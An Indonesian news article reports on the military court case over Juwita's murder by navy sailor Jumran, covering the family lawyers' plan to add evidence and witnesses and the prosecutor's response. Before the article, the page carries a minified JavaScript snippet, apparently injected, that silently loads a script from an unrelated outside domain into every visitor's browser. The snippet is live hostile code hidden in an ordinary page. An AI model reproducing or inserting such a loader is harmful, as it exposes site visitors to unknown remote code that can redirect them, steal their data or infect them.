(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Tim kuasa hukum keluarga Juwita berencana menambah barang bukti dan saksi tambahan dalam persidangan kasus pembunuhan berencana yang dilakukan anggota TNI AL Jumran.
Diketahui proses persidangan tersangka Kelasi I Bahari Jumran akan dilaksanakan di Pengadilan Militer 1-06 Banjarmasin di Banjarbaru, pada awal Mei 2025 mendatang. Berkas perkara dinyatakan memenuhi syarat formil dan materiil.
Perwakilan kuasa hukum, C Oriza Sativa Tanau mengatakan, ada barang bukti tambahan baru yang belum pernah dihadirkan dalam pemeriksaan, serta ada saksi tambahan baru berjumlah empat orang.
Baca juga: Odmil III-15 Banjarmasin Limpahkan Kasus Juwita ke Pengadilan Militer
“Barang bukti ini berupa barang yang diberikan oleh pelaku kepada keluarga korban sebagai alibi untuk dia menutupi perbuatannya. Jadi waktu itu dia ada mengirimkan uang sejumlah Rp1 juta dengan alasan ingin menyumbang untuk acara tahlilan,” ujar C Oriza Sativa Tanau saat diwawancarai, Jumat (25/4/2025).
Barang bukti uang sejumlah Rp1 juta diberikan kepada pihak keluarga Juwita untuk mengelabuhi perbuatan tersangka.
“Itu untuk mengelabuhi perbuatannya, merupakan barang bukti yang harus dibuktikan dalam persidangan. Jawabannya itu harus disampaikan di persidangan salah satunya untuk mempekuat pasal 340 KUHP,” jelas dia.
Baca juga: Tim Kuasa Hukum Keluarga Juwita Soroti Dua Pasal Dakwaan
Di sisi lain pihak kuasa hukum juga mendorong untuk hasil tes DNA segera keluar. Serta mendorong hasil pemeriksaan GPS mobil yang dipakai pelaku untuk melakukan pembunuhan.
“Kami telah mengirimkan surat ke Menteri Komunikasi dan Digital untuk memeriksa GPS mobil yang dipakai pelaku,” ungkapnya.
“Dari GPS itu akan terlihat kemana saja track perjalanan, kemana saja tersangka membawa, kemana saja dan ngapain saja,” tambah Oriza.
Baca juga: Disogok, Tiga Polisi Polres Samarinda ‘Bebaskan’ Tahanan Nyabu di Sel
Kepala Odmil III-15 Banjarmasin Letkol Chk Sunandi. Foto : wanda
Sementara itu, Kepala Oditurat Militer (Odmil) III-15 Banjarmasin Letkol Chk Sunandi mengatakan, barang bukti yang bersifat alat bukti tambahan sesuai dengan hukum acara diatur boleh diajukan sebagai bukti tambahan pada saat setelah selesai pemeriksaan perkara.
“Jadi nanti dalam persidangan, nanti itu akan diketahui oleh majelis dan apabila dianggap oleh majelis boleh digunakan sebagai alat bukti maka bisa digunakan sebagai alat bukti baru,” ujar Kepala Odmil III-15 Banjarmasin.
Temasuk, katanya, bukti tes DNA yang sampai saat ini belum pihaknya terima karena memerlukan waktu untuk memperoleh hasil. “Itu bisa dijadikan sebagai bukti tambahan,” tegasnya.
“Namun apakah ada kemungkinan ada tersangka itu baru itu bisa ketehui apabila telah dilakukan, di persidangan. Kita tidak bisa menduga-duga semua bisa kita lihat perkembangan di persidangan,” tuntasnya. (Kanalkalimantan.com/wanda)
Reporter: wanda
Editor: bie
KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas menetapkan tiga lokasi pelaksanaan Pasar Ramadan 1447 Hijriah… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Pengadaan kamera mirrorless dua unit seharga Rp132.690.000 oleh Pemerintah Kota (Pemko) Banjarmasin… Read More
Minta Pemko Banjarmasin Aktifkan Kembali 64 Ribu BPJS Warga Read More
KANALKALIMANTAN.COM, JAKARTA - Kementerian Transmigrasi (Kementrans) turun tangan langsung menangani kasus pencabutan Sertipikat Hak Milik… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru mengeluarkan surat edaran tentang pelaksanaan kegiatan masyarakat pada bulan… Read More
KANALKALIMANTAN.COM, BANJARBARU – Cuaca di Kalimantan Selatan (Kalsel) dalam sepekan ke depan diprakirakan masih didominasi… Read More
This website uses cookies.